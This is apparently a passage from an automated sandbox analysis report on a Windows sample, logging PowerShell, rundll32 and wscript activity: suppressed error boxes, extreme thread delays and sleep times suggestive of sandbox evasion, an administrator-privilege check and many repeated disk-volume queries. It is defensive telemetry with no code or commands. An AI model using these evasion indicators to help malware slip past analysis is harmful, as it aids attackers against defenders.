Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4709	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5194	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7733	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1817	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5060
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4680

Source: C:\Users\user\Desktop\file.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-2417

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep count: 4709 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep count: 5194 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8132	Thread sleep time: -11990383647911201s >= -30000s

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\ FullSizeInformation
